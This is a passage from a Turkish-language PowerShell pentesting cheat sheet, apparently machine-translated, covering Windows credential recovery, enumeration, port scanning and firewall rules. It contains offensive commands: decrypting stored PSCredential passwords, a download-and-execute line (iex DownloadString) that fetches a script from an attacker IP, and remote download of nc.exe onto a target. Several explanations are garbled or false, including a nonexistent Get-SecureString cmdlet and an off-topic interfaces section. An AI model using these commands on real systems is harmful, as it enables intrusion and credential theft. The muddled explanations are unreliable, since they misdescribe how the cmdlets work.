cmdlet. This cmdlet allows you to decrypt a secure string and convert it back to its original plaintext form.
$secureString = Get-SecureString -AsPlainText -Force
$plaintext = ConvertFrom-SecureString $secureString
In the above example, the Get-SecureString
cmdlet is used to retrieve a secure string. The -AsPlainText
parameter ensures that the secure string is returned as plaintext. The -Force
parameter is used to bypass any prompts for confirmation.
Once you have the secure string, you can use the ConvertFrom-SecureString
cmdlet to convert it to plaintext. The resulting plaintext value can be stored in a variable, such as $plaintext
, for further use.
It's important to note that converting a secure string to plaintext should be done with caution, as it can expose sensitive information. Make sure to handle the plaintext data securely and avoid storing it in plain text for an extended period of time.
$pass = "01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be5870730000000002000000000003660000c000000010000000d792a6f34a55235c22da98b0c041ce7b0000000004800000a00000001000000065d20f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9c763bb3a8790deebf51fc51062843b5d52e40214000000ac62dab09371dc4dbfd763fea92b9d5444748692" | convertto-securestring
$user = "HTB\Tom"
$cred = New-Object System.management.Automation.PSCredential($user, $pass)
$cred.GetNetworkCredential() | fl
UserName : Tom
Password : 1ts-mag1c!!!
SecurePassword : System.Security.SecureString
Domain : HTB
Ya da XML'den doğrudan ayrıştırma yaparak:
$cred = Import-CliXml -Path cred.xml; $cred.GetNetworkCredential() | Format-List *
UserName : Tom
Password : 1ts-mag1c!!!
SecurePassword : System.Security.SecureString
Domain : HTB
SUDO
SUDO, yani "Super User Do", Linux sistemlerinde kök kullanıcı (root) yetkilerine sahip olmayan kullanıcıların belirli komutları kök kullanıcının yetkileriyle çalıştırmasına izin veren bir komut. Bu, sistem yöneticilerinin belirli görevleri gerçekleştirmek için kök yetkilerine ihtiyaç duymadan çalışmalarını sağlar.
SUDO, güvenlik açısından önemli bir araçtır çünkü kök yetkilerine sahip olmayan kullanıcıların sistem üzerindeki etkisini sınırlar. Bununla birlikte, kötü niyetli kullanıcılar tarafından kötüye kullanılabilir. Bu nedenle, SUDO'nun doğru bir şekilde yapılandırılması ve kullanılması önemlidir.
SUDO'yu kullanırken dikkate almanız gereken bazı önemli noktalar vardır:
- SUDO, yalnızca ihtiyaç duyulan komutları çalıştırmak için kullanılmalıdır.
- SUDO, yalnızca güvenilir kullanıcılar tarafından kullanılmalıdır.
- SUDO, kötü amaçlı yazılımların ve saldırıların hedefi olabileceğinden, güncel ve güvenli bir şekilde yapılandırılmalıdır.
SUDO'nun doğru bir şekilde yapılandırılması, Linux sistemlerinin güvenliğini artırabilir ve yetkisiz erişimlerin önlenmesine yardımcı olabilir.
#CREATE A CREDENTIAL OBJECT
$pass = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("<USERNAME>", $pass)
#For local:
Start-Process -Credential ($cred) -NoNewWindow powershell "iex (New-Object Net.WebClient).DownloadString('http://10.10.14.11:443/ipst.ps1')"
#For WINRM
#CHECK IF CREDENTIALS ARE WORKING EXECUTING whoami (expected: username of the credentials user)
Invoke-Command -Computer ARKHAM -ScriptBlock { whoami } -Credential $cred
#DOWNLOAD nc.exe
Invoke-Command -Computer ARKHAM -ScriptBlock { IWR -uri 10.10.14.17/nc.exe -outfile nc.exe } -credential $cred
Start-Process powershell -Credential $pp -ArgumentList '-noprofile -command &{Start-Process C:\xyz\nc.bat -verb Runas}'
#Another method
$secpasswd = ConvertTo-SecureString "<password>" -AsPlainText -Force
$mycreds = New-Object System.Management.Automation.PSCredential ("<user>", $secpasswd)
$computer = "<hostname>"
Gruplar
Get-LocalGroup | ft Name #All groups
Get-LocalGroupMember Administrators | ft Name, PrincipalSource #Members of Administrators
Pano
Pano, kullanıcıların metin veya dosyaları kopyalayıp yapıştırmasını sağlayan bir özelliktir. Pano, kullanıcıların bilgisayarlarında geçici bir depolama alanı olarak işlev görür ve kullanıcıların verileri farklı uygulamalar arasında taşımasına olanak tanır.
Pano, birçok farklı veri türünü destekler, örneğin metin, resim veya dosya. Kullanıcılar, bir metin parçasını seçerek veya bir dosyayı kopyalayarak pano üzerine veri ekleyebilirler. Ardından, kullanıcılar bu veriyi başka bir uygulamaya yapıştırabilirler.
Pano, kullanıcılar arasında veri paylaşımını kolaylaştırırken, aynı zamanda güvenlik riskleri de taşır. Kötü niyetli bir saldırgan, kullanıcının pano verilerine erişebilir ve bu verileri kötü amaçlı amaçlar için kullanabilir.
Pano güvenliği için bazı önlemler almak önemlidir. Örneğin, hassas bilgileri kopyaladıktan sonra pano verilerini temizlemek veya pano verilerini şifrelemek gibi önlemler alınabilir. Ayrıca, kullanıcıların güvenilir olmayan kaynaklardan gelen verileri pano üzerine yapıştırmaması da önemlidir.
Pano, kullanıcılar için kullanışlı bir özellik olsa da, güvenlik açıklarına karşı dikkatli olmak önemlidir. Kullanıcılar, pano verilerini korumak için gerekli önlemleri almalı ve güvenilir olmayan kaynaklardan gelen verilere dikkat etmelidir.
Get-Clipboard
İşlemler
Processes (işlemler), çalışan programların çalıştırılan örnekleridir. İşletim sistemi, her bir işlemi ayrı bir varlık olarak yönetir ve her birine bir işlem kimliği (PID) atar. İşlemler, sistem kaynaklarını kullanır ve birbirleriyle etkileşime geçebilirler.
İşlem Listeleme
Bir sistemde çalışan işlemleri listelemek için aşağıdaki komutları kullanabilirsiniz:
Get-Process
Bu komut, sistemdeki tüm işlemleri listeler. Her işlem için PID, İsim, Önyükleme Zamanı, Bellek Kullanımı ve diğer bilgileri gösterir.
İşlem Sonlandırma
Bir işlemi sonlandırmak için aşağıdaki komutu kullanabilirsiniz:
Stop-Process -Id <PID>
Bu komut, belirtilen PID'ye sahip işlemi sonlandırır. PID'yi belirlemek için önce işlem listesini kullanabilirsiniz.
İşlem Başlatma
Yeni bir işlem başlatmak için aşağıdaki komutu kullanabilirsiniz:
Start-Process -FilePath <Dosya Yolu>
Bu komut, belirtilen dosya yolundaki uygulamayı başlatır. İsteğe bağlı olarak, başlatılan işlemi arka planda çalıştırmak için -NoNewWindow
parametresini ekleyebilirsiniz.
İşlem İzleme
Bir işlemi izlemek için aşağıdaki komutu kullanabilirsiniz:
Get-Process -Id <PID> | Select-Object -Property *
Bu komut, belirtilen PID'ye sahip işlemin tüm özelliklerini gösterir. İsteğe bağlı olarak, sadece belirli özellikleri görmek için -Property
parametresini kullanabilirsiniz.
İşlem Öncelik Ayarı
Bir işlemin önceliğini ayarlamak için aşağıdaki komutu kullanabilirsiniz:
Get-Process -Id <PID> | Foreach-Object { $_.PriorityClass = "High" }
Bu komut, belirtilen PID'ye sahip işlemin önceliğini "High" olarak ayarlar. İsteğe bağlı olarak, önceliği "Normal", "AboveNormal", "BelowNormal" veya "Idle" olarak ayarlayabilirsiniz.
İşlem Ağ Bağlantıları
Bir işlemin ağ bağlantılarını görmek için aşağıdaki komutu kullanabilirsiniz:
Get-Process -Id <PID> | Get-NetTCPConnection
Bu komut, belirtilen PID'ye sahip işlemin TCP bağlantılarını gösterir. İsteğe bağlı olarak, UDP bağlantılarını görmek için Get-NetUDPConnection
komutunu kullanabilirsiniz.
İşlem Dosya Yolları
Bir işlemin açık dosya yollarını görmek için aşağıdaki komutu kullanabilirsiniz:
Get-Process -Id <PID> | Get-ProcessModule
Bu komut, belirtilen PID'ye sahip işlemin yüklenmiş modüllerini ve dosya yollarını gösterir.
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id
Hizmetler
PowerShell Remoting
PowerShell Remoting, uzaktan bir Windows makinesine PowerShell komutları göndermek için kullanılan bir protokoldür. Bu protokol, bir istemci-sunucu modeli kullanır ve istemci, sunucu üzerindeki komutları çalıştırabilir.
PowerShell Remoting'i etkinleştirmek için aşağıdaki komutu kullanabilirsiniz:
Enable-PSRemoting
PowerShell Remoting'i etkinleştirdikten sonra, uzaktaki bir Windows makinesine bağlanmak için Enter-PSSession
komutunu kullanabilirsiniz. Örneğin:
Enter-PSSession -ComputerName <uzaktaki_makine_adı>
PowerShell Scripting
PowerShell, güçlü bir betikleme dilidir ve Windows sistemlerinde otomatikleştirme ve yönetim görevlerini gerçekleştirmek için yaygın olarak kullanılır. PowerShell betikleri, .ps1
uzantısıyla kaydedilir ve PowerShell komutlarını içerir.
PowerShell betiklerini çalıştırmak için aşağıdaki komutu kullanabilirsiniz:
.\script.ps1
Windows Service Control Manager (SCM)
Windows Service Control Manager (SCM), Windows işletim sisteminde çalışan hizmetlerin yönetimini sağlayan bir bileşendir. SCM, hizmetlerin başlatılmasını, durdurulmasını, durumunu kontrol etmeyi ve yapılandırmayı sağlar.
SCM ile ilgili bazı yararlı komutlar şunlardır:
- Hizmetleri listelemek için:
Get-Service
- Belirli bir hizmetin durumunu kontrol etmek için:
Get-Service -Name <hizmet_adı>
- Bir hizmeti başlatmak için:
Start-Service -Name <hizmet_adı>
- Bir hizmeti durdurmak için:
Stop-Service -Name <hizmet_adı>
Windows Firewall
Windows Firewall, Windows işletim sisteminde yerleşik bir güvenlik duvarıdır. Bu güvenlik duvarı, ağ trafiğini denetler ve istenmeyen bağlantıları engeller.
Windows Firewall ile ilgili bazı yararlı komutlar şunlardır:
- Güvenlik duvarı durumunu kontrol etmek için:
Get-NetFirewallProfile
- Güvenlik duvarını etkinleştirmek veya devre dışı bırakmak için:
Set-NetFirewallProfile -Profile <profil_adı> -Enabled <true/false>
- Bir uygulama için gelen bağlantıları izin vermek için:
New-NetFirewallRule -DisplayName <kural_adı> -Direction Inbound -Action Allow -Program <uygulama_yolu>
- Bir port için gelen bağlantıları izin vermek için:
New-NetFirewallRule -DisplayName <kural_adı> -Direction Inbound -Action Allow -LocalPort <port_numarası> -Protocol <protokol_adı>
Windows Event Logs
Windows Event Logs, Windows işletim sisteminde meydana gelen olayları kaydeden bir sistemdir. Bu olaylar, sistem durumu, hata mesajları, güvenlik olayları vb. gibi çeşitli bilgileri içerebilir.
Windows Event Logs ile ilgili bazı yararlı komutlar şunlardır:
- Olay günlüklerini listelemek için:
Get-WinEvent
- Belirli bir olay günlüğünü filtrelemek için:
Get-WinEvent -LogName <günlük_adı>
- Belirli bir olay türüne sahip olayları filtrelemek için:
Get-WinEvent -FilterHashtable @{LogName='<günlük_adı>'; Level=<seviye>}
- Belirli bir olay kaynağına sahip olayları filtrelemek için:
Get-WinEvent -FilterHashtable @{LogName='<günlük_adı>'; ProviderName='<kaynak_adı>'}
Get-Service
Güvenli Dizgiden Parola
Bir hedef sistemde, PowerShell ile çalışırken, bazen parolaları güvenli bir şekilde saklamak isteyebilirsiniz. PowerShell'da, parolaları güvenli bir şekilde saklamak için SecureString
veri türünü kullanabilirsiniz. Ancak, SecureString
veri türü, parolayı doğrudan okunabilir bir şekilde depolamaz. Bu nedenle, SecureString
veri türündeki bir parolayı okunabilir bir metin olarak elde etmek için bazı adımlar gereklidir.
Aşağıdaki PowerShell komutları, SecureString
veri türündeki bir parolayı okunabilir bir metin olarak elde etmek için kullanılabilir:
$secureString = ConvertTo-SecureString -String "güvenli_parola" -AsPlainText -Force
$plainTextPassword = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto([System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($secureString))
Bu komutlar, ConvertTo-SecureString
cmdlet'ini kullanarak SecureString
veri türündeki bir parolayı oluşturur. Ardından, Marshal
sınıfının SecureStringToBSTR
yöntemi kullanılarak SecureString
veri türündeki parola, okunabilir bir metin olarak elde edilir.
Bu yöntem, PowerShell ile çalışırken güvenli bir şekilde saklanan parolaları okunabilir hale getirmek için kullanılabilir. Ancak, bu yöntem, parolaların güvenliğini azaltabilir, bu nedenle dikkatli bir şekilde kullanılmalıdır.
$pw=gc admin-pass.xml | convertto-securestring #Get the securestring from the file
$cred=new-object system.management.automation.pscredential("administrator", $pw)
$cred.getnetworkcredential() | fl * #Get plaintext password
Zamanlanmış Görevler
Scheduled Tasks (Zamanlanmış Görevler), Windows işletim sisteminde belirli bir zaman diliminde otomatik olarak çalıştırılması gereken görevleri planlamak için kullanılan bir özelliktir. Bu görevler, kullanıcı oturumu açık olmasa bile çalıştırılabilir ve sistem üzerinde çeşitli işlemler gerçekleştirebilir.
Zamanlanmış Görevlerin Yerleri
Zamanlanmış görevler, Windows işletim sisteminde farklı yerlerde depolanabilir. Bunlar:
- Kullanıcı Zamanlanmış Görevleri: Her kullanıcı için ayrı ayrı tanımlanan görevlerdir. Bu görevler, kullanıcının oturumu açık olduğunda çalıştırılır.
- Sistem Zamanlanmış Görevleri: Tüm kullanıcılar için geçerli olan görevlerdir. Bu görevler, sistem başlatıldığında veya belirli bir zaman diliminde çalıştırılır.
Zamanlanmış Görevleri Listeleme
Zamanlanmış görevleri listelemek için aşağıdaki PowerShell komutunu kullanabilirsiniz:
Get-ScheduledTask
Bu komut, tüm zamanlanmış görevleri listeler. Daha spesifik sonuçlar almak için filtreleme yapabilirsiniz. Örneğin, yalnızca belirli bir kullanıcıya ait görevleri listelemek için aşağıdaki komutu kullanabilirsiniz:
Get-ScheduledTask -User "kullanıcı_adı"
Zamanlanmış Görevleri Düzenleme
Zamanlanmış görevleri düzenlemek için aşağıdaki PowerShell komutunu kullanabilirsiniz:
Set-ScheduledTask -TaskName "görev_adı" -Action "yeni_aksiyon"
Bu komut, belirli bir görevin aksiyonunu değiştirmenizi sağlar. Aksiyon, görevin ne yapacağını belirler. Örneğin, bir PowerShell komut dosyasını çalıştırmak için aşağıdaki komutu kullanabilirsiniz:
Set-ScheduledTask -TaskName "görev_adı" -Action (New-ScheduledTaskAction -Execute "powershell.exe" -Argument "C:\path\to\script.ps1")
Zamanlanmış Görevleri Silme
Zamanlanmış görevleri silmek için aşağıdaki PowerShell komutunu kullanabilirsiniz:
Unregister-ScheduledTask -TaskName "görev_adı" -Confirm:$false
Bu komut, belirli bir görevi siler. -Confirm:$false
parametresi, silme işlemini onaylamadan doğrudan gerçekleştirir.
Özet
Zamanlanmış görevler, Windows işletim sisteminde otomatik olarak çalıştırılması gereken görevleri planlamak için kullanılan bir özelliktir. Bu görevleri listelemek, düzenlemek ve silmek için PowerShell komutlarını kullanabilirsiniz.
Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State
Port taraması, bir hedef sistemdeki açık portları belirlemek için kullanılan bir tekniktir. Bu, bir saldırganın hedef sistemdeki ağ servislerini keşfetmesine ve zayıf noktaları tespit etmesine olanak tanır. Port taraması, TCP veya UDP protokollerini kullanarak hedef sistemdeki belirli portlara bağlantı denemeleri yapar. Başarılı bir bağlantı, portun açık olduğunu gösterirken, başarısız bir bağlantı, portun kapalı olduğunu veya bir güvenlik duvarı tarafından engellendiğini gösterir. Port taraması, ağ güvenliği değerlendirmeleri ve sızma testlerinde yaygın olarak kullanılan bir tekniktir.
# Check Port or Single IP
Test-NetConnection -Port 80 10.10.10.10
# Check Port List in Single IP
80,443,8080 | % {echo ((new-object Net.Sockets.TcpClient).Connect("10.10.10.10",$_)) "Port $_ is open!"} 2>$null
# Check Port Range in single IP
1..1024 | % {echo ((New-Object Net.Sockets.TcpClient).Connect("10.10.10.10", $_)) "TCP port $_ is open"} 2>$null
# Check Port List in IP Lists - 80,443,445,8080
"10.10.10.10","10.10.10.11" | % { $a = $_; write-host "[INFO] Testing $_ ..."; 80,443,445,8080 | % {echo ((new-object Net.Sockets.TcpClient).Connect("$a",$_)) "$a : $_ is open!"} 2>$null}
Arayüzler
An interface defines a contract for a class, specifying the methods and properties that the class must implement. In PowerShell, interfaces are defined using the interface
keyword.
Bir arayüz, bir sınıf için bir sözleşme tanımlar ve sınıfın uygulaması gereken yöntemleri ve özellikleri belirtir. PowerShell'de arayüzler, interface
anahtar kelimesi kullanılarak tanımlanır.
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft
Güvenlik Duvarı
Firewall, bir ağdaki trafiği kontrol etmek ve istenmeyen erişimleri engellemek için kullanılan bir güvenlik önlemidir. Windows işletim sistemlerinde, Windows Güvenlik Duvarı adı verilen bir güvenlik duvarı bulunmaktadır. Bu güvenlik duvarı, gelen ve giden ağ trafiğini denetler ve belirli ağ protokollerine ve portlara erişimi kontrol eder.
Windows Güvenlik Duvarı'nı yapılandırmak için PowerShell kullanabilirsiniz. PowerShell, Windows işletim sistemlerinde komut satırı tabanlı bir betikleme dilidir. PowerShell, birçok güvenlik duvarı ayarını yapılandırmak için kullanışlıdır.
Güvenlik Duvarı Durumunu Kontrol Etme
Güvenlik duvarının etkin olup olmadığını kontrol etmek için aşağıdaki PowerShell komutunu kullanabilirsiniz:
Get-NetFirewallProfile
Bu komut, güvenlik duvarının etkin olup olmadığını ve hangi profillerin etkin olduğunu gösterir.
Güvenlik Duvarı Profilini Değiştirme
Güvenlik duvarı profillerini değiştirmek için aşağıdaki PowerShell komutlarını kullanabilirsiniz:
- Etkin profili "Domain" olarak ayarlamak için:
Set-NetFirewallProfile -Profile Domain -Enabled True
- Etkin profili "Private" olarak ayarlamak için:
Set-NetFirewallProfile -Profile Private -Enabled True
- Etkin profili "Public" olarak ayarlamak için:
Set-NetFirewallProfile -Profile Public -Enabled True
Güvenlik Duvarı Kuralları
Güvenlik duvarı kuralları, belirli ağ protokollerine ve portlara erişimi kontrol etmek için kullanılır. PowerShell kullanarak güvenlik duvarı kuralları oluşturabilir, düzenleyebilir ve silebilirsiniz.
- Yeni bir güvenlik duvarı kuralı oluşturmak için:
New-NetFirewallRule -DisplayName "Rule Name" -Direction Inbound -LocalPort 80 -Protocol TCP -Action Allow
- Varolan bir güvenlik duvarı kuralını düzenlemek için:
Set-NetFirewallRule -DisplayName "Rule Name" -Action Block
- Bir güvenlik duvarı kuralını silmek için:
Remove-NetFirewallRule -DisplayName "Rule Name"
Özet
PowerShell, Windows Güvenlik Duvarı'nı yapılandırmak için kullanışlı bir araçtır. Güvenlik duvarı durumunu kontrol etmek, güvenlik duvarı profillerini değiştirmek ve güvenlik duvarı kurallarını oluşturmak, düzenlemek veya silmek için PowerShell komutlarını kullanabilirsiniz.
Get-NetFirewallRule -Enabled True
Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block
Get-NetFirewallRule -Direction Outbound -Enabled True -Action Allow
Get-NetFirewallRule -Direction Inbound -Enabled True -Action Block
Get-NetFirewallRule -Direction Inbound -Enabled True -Action Allow
# Open SSH to the world
New-NetFirewallRule -DisplayName 'SSH (Port 22)' -Direction Inbound -LocalPort 22 -Protocol TCP -Action Allow
# Get name, proto, local and rremote ports, remote address, penable,profile and direction
## You can user the following line changing the initial filters to indicat a difefrent direction or action
Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block | Format-Table -Property DisplayName, @{Name='Protocol';Expression={($PSItem | Get-NetFirewallPortFilter).Protocol}},@{Name='LocalPort';Expression={($PSItem | Get-NetFirewallPortFilter).LocalPort}}, @{Name='RemotePort';Expression={($PSItem | Get-NetFirewallPortFilter).RemotePort}},@{Name='RemoteAddress';Expression={($PSItem | Get-NetFirewallAddressFilter).RemoteAddress}},Profile,Direction,Action
Rota
Bu bölümde, PowerShell'i kullanarak ağ üzerindeki rotaları yönetmek için temel komutları öğreneceksiniz.
Rota Tablosunu Görüntüleme
Rota tablosunu görüntülemek için Get-NetRoute
komutunu kullanabilirsiniz. Bu komut, ağdaki tüm rotaları ve ilgili bilgileri listeleyecektir.
Get-NetRoute
Yeni Bir Rota Eklemek
Yeni bir rota eklemek için New-NetRoute
komutunu kullanabilirsiniz. Bu komut, hedef ağ adresini, alt ağ maskesini ve geçiş ağ geçidini belirtmenizi gerektirir.
New-NetRoute -DestinationPrefix <hedef_ağ_adresi> -PrefixLength <alt_ağ_maskesi> -NextHop <geçiş_ağ_geçidi>
Örneğin:
New-NetRoute -DestinationPrefix 192.168.2.0 -PrefixLength 24 -NextHop 192.168.1.1
Bir Rota Silmek
Bir rotayı silmek için Remove-NetRoute
komutunu kullanabilirsiniz. Bu komut, silmek istediğiniz rotanın hedef ağ adresini ve alt ağ maskesini belirtmenizi gerektirir.
Remove-NetRoute -DestinationPrefix <hedef_ağ_adresi> -PrefixLength <alt_ağ_maskesi>
Örneğin:
Remove-NetRoute -DestinationPrefix 192.168.2.0 -PrefixLength 24
Rota Önceliklerini Değiştirmek
Rota önceliklerini değiştirmek için Set-NetRoute
komutunu kullanabilirsiniz. Bu komut, değiştirmek istediğiniz rotanın hedef ağ adresini, alt ağ maskesini ve yeni önceliği belirtmenizi gerektirir.
Set-NetRoute -DestinationPrefix <hedef_ağ_adresi> -PrefixLength <alt_ağ_maskesi> -InterfaceIndex <yeni_öncelik>
Örneğin:
Set-NetRoute -DestinationPrefix 192.168.2.0 -PrefixLength 24 -InterfaceIndex 2
Bu komut, 192.168.2.0/24 ağını 2 numaralı arayüz üzerinden yönlendirecektir.
route print
ARP
ARP (Address Resolution Protocol), Türkçe olarak Adres Çözümleme Protokolü anlamına gelir. ARP, bir IP adresinin fiziksel MAC adresine çözümlenmesi için kullanılan bir ağ protokolüdür. ARP, bir ağdaki cihazların birbirlerinin MAC adreslerini öğrenmelerine ve iletişim kurmalarına olanak sağlar.
ARP saldırıları, bir saldırganın ağdaki diğer cihazların MAC adreslerini taklit etmesini veya değiştirmesini içerir. Bu saldırılar, ağ trafiğini yönlendirmek, ağdaki cihazları izlemek veya veri paketlerini çalmak gibi kötü niyetli amaçlar için kullanılabilir.
ARP saldırılarından korunmak için ağda güvenlik önlemleri almak önemlidir. Bu önlemler arasında ARP izleme, ARP tablosu güncellemelerini izleme ve ARP güvenlik duvarı kullanma bulunur. Ayrıca, ağdaki cihazların güvenliğini sağlamak için güçlü kimlik doğrulama ve yetkilendirme politikaları uygulanmalıdır.
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State
Sunucular
The hosts
file is a plain text file used by operating systems to map hostnames to IP addresses. It is commonly used to block or redirect certain websites or to override DNS settings. As a pentester, you can leverage the hosts
file to redirect traffic to your own IP address or to bypass certain security measures.
To locate the hosts
file on a Windows system, you can navigate to C:\Windows\System32\drivers\etc
. However, this file is protected by the operating system, so you will need administrative privileges to modify it.
To modify the hosts
file, you can use a text editor or PowerShell. Here are some basic PowerShell commands that can be useful:
- To view the contents of the
hosts
file:
Get-Content C:\Windows\System32\drivers\etc\hosts
- To add an entry to the
hosts
file:
Add-Content -Path C:\Windows\System32\drivers\etc\hosts -Value "127.0.0.1 example.com"
- To remove an entry from the
hosts
file:
(Get-Content C:\Windows\System32\drivers\etc\hosts) | Where-Object {$_ -notmatch "example.com"} | Set-Content C:\Windows\System32\drivers\etc\hosts
Remember to run PowerShell with administrative privileges when modifying the hosts
file.
Get-Content C:\WINDOWS\System32\drivers\etc\hosts
Ping
Ping, ağ cihazları arasındaki bağlantı durumunu kontrol etmek için kullanılan bir ağ aracıdır. Ping komutu, hedef IP adresine bir ICMP (Internet Control Message Protocol) paketi gönderir ve hedef cihazdan gelen yanıtı kontrol eder. Bu, ağdaki cihazların erişilebilir olup olmadığını ve ağ performansını değerlendirmek için kullanılabilir.
Ping komutunu kullanarak aşağıdaki gibi bir IP adresine ping atabilirsiniz:
ping 192.168.1.1
Bu komut, 192.168.1.1 IP adresine bir ICMP paketi gönderir ve hedef cihazdan gelen yanıtı görüntüler. Yanıt süresi ve paket kaybı gibi bilgileri de gösterir.
Ping komutu, ağ sorunlarını teşhis etmek ve ağ cihazlarının erişilebilirliğini kontrol etmek için yaygın olarak kullanılır. Ayrıca, bir hedef cihazın yanıt verip vermediğini kontrol etmek için de kullanılabilir.
$ping = New-Object System.Net.Networkinformation.Ping
1..254 | % { $ping.send("10.9.15.$_") | select address, status }
SNMP
SNMP (Simple Network Management Protocol), basit bir ağ yönetim protokolüdür. Bu protokol, ağ cihazlarının durumunu izlemek, performans istatistiklerini toplamak ve ağ yönetimi için bilgi sağlamak için kullanılır. SNMP, ağ cihazlarına yönelik bir dizi standart yönetim bilgisi tabanlı nesne (MIB) kullanır. Bu nesneler, ağ cihazlarının durumunu ve performansını temsil eden verileri içerir.
SNMP, yönetim istemcileri ve yönetilen cihazlar arasında bir iletişim kanalı sağlar. Yönetim istemcileri, SNMP protokolünü kullanarak yönetilen cihazlardan bilgi alabilir ve bu cihazlara yönetim komutları gönderebilir. SNMP, ağ yöneticilerine ağdaki cihazların durumunu izleme ve sorunları tespit etme yeteneği sağlar.
SNMP, genellikle ağ cihazlarının yönetimi için kullanılır, ancak diğer sistemlerde de kullanılabilir. Bu protokol, ağ güvenliği açısından dikkatli bir şekilde yapılandırılmalıdır, çünkü kötü niyetli kişilerin ağa erişim sağlamasına ve bilgi sızdırmasına neden olabilir. SNMP güvenliği için, güçlü parolalar kullanılmalı ve erişim kontrolleri sağlanmalıdır.
Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse
SDDL Dizesini Okunabilir Bir Formata Dönüştürme
SDDL (Security Descriptor Definition Language), Windows işletim sistemindeki nesnelerin güvenlik tanımlayıcılarını temsil etmek için kullanılan bir dildir. SDDL dizeleri, nesnelerin güvenlik ayarlarını anlamak için kullanılabilir, ancak genellikle karmaşık ve okunması zordur.
Bu bölümde, bir SDDL dizesini daha okunabilir bir formata dönüştürmek için PowerShell kullanımını öğreneceksiniz.
Adım 1: SDDL Dizesini Alın
İlk adım olarak, SDDL dizesini elde etmeniz gerekmektedir. Bu dize, bir nesnenin güvenlik ayarlarını temsil eder. Örneğin, bir dosyanın SDDL dizesini almak için aşağıdaki PowerShell komutunu kullanabilirsiniz:
(Get-Acl -Path C:\Path\To\File.txt).Sddl
Adım 2: SDDL Dizesini Okunabilir Formata Dönüştürün
Elde ettiğiniz SDDL dizesini daha okunabilir bir formata dönüştürmek için aşağıdaki PowerShell komutunu kullanabilirsiniz:
$sddl = "SDDL Dizesi" # SDDL dizesini buraya yerleştirin
$securityDescriptor = New-Object -TypeName System.Security.AccessControl.RawSecurityDescriptor -ArgumentList $sddl
$securityDescriptor.GetSddlForm([System.Security.AccessControl.AccessControlSections]::All)
Bu komut, SDDL dizesini System.Security.AccessControl.RawSecurityDescriptor
nesnesine dönüştürür ve daha sonra GetSddlForm
yöntemini kullanarak okunabilir bir formata dönüştürür.
Örnek
Aşağıda, bir dosyanın SDDL dizesini okunabilir bir formata dönüştürmek için PowerShell kullanımını gösteren bir örnek bulunmaktadır:
$sddl = (Get-Acl -Path C:\Path\To\File.txt).Sddl
$securityDescriptor = New-Object -TypeName System.Security.AccessControl.RawSecurityDescriptor -ArgumentList $sddl
$securityDescriptor.GetSddlForm([System.Security.AccessControl.AccessControlSections]::All)
Bu komutlar, C:\Path\To\File.txt
yolundaki dosyanın SDDL dizesini alır ve daha sonra bu dizeyi okunabilir bir formata dönüştürür.
PS C:\> ConvertFrom-SddlString "O:BAG:BAD:AI(D;;DC;;;WD)(OA;CI;CR;ab721a53-1e2f-11d0-9819-00aa0040529b;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CR;00299570-246d-11d0-a768-00aa006e0529;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;CCDCLC;c975c901-6cea-4b6f-8319-d67f45449506;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CIIO;CCDCLC;c975c901-6cea-4b6f-8319-d67f45449506;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;3e0f7e18-2c7a-4c10-ba82-4d926db99a3e;;S-1-5-21-3842939050-3880317879-2865463114-522)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-498)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;DD)(OA;CI;CR;89e95b76-444d-4c62-991a-0facbeda640c;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CC;4828cc14-1437-45bc-9b07-ad6f015e5f28;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967a86-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967a9c-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967aa5-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967aba-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;5cb41ed0-0e4c-11d0-a286-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;RP;4c164200-20c0-11d0-a768-00aa006e0529;;S-1-5-21-3842939050-3880317879-2865463114-5181)(OA;CI;RP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;9a7ad945-ca53-11d1-bbd0-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;bf967a68-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-51